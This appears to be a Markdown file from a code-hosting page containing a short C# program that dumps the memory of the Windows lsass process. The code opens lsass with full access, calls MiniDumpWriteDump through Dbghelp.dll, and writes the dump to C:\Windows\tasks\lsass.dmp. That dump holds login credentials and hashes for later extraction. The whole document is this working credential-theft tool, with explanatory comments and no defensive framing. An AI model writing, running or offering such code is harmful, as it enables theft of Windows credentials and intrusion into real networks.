37 lines
1.2 KiB
Markdown
37 lines
1.2 KiB
Markdown
```CSharp
|
|
using System;
|
|
using System.Diagnostics;
|
|
using System.Runtime.InteropServices;
|
|
using System.IO;
|
|
|
|
namespace Minidump
|
|
{
|
|
class Program
|
|
{
|
|
[DllImport("Dbghelp.dll")]
|
|
static extern bool MiniDumpWriteDump(IntPtr hProcess, int ProcessId, IntPtr hFile, int DumpType, IntPtr ExceptionParam, IntPtr UserStreamParam, IntPtr CallbackParam);
|
|
|
|
[DllImport("kernel32.dll")]
|
|
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
|
|
static void Main(string[] args)
|
|
{
|
|
// Create instance of Process class and use Id method to get PID of lsass
|
|
|
|
Process[] lsass = Process.GetProcessesByName("lsass");
|
|
int lsass_pid = lsass[0].Id;
|
|
|
|
// Get handle to lsass
|
|
|
|
IntPtr handle = OpenProcess(0x001F0FFF, false, lsass_pid);
|
|
|
|
// Create new file stream to which to write dumpfile
|
|
|
|
FileStream dumpFile = new FileStream("C:\\Windows\\tasks\\lsass.dmp", FileMode.Create);
|
|
|
|
// Execute dump and write to file
|
|
|
|
bool dumped = MiniDumpWriteDump(handle, lsass_pid, dumpFile.SafeFileHandle.DangerousGetHandle(), 2, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);
|
|
}
|
|
}
|
|
}
|
|
``` |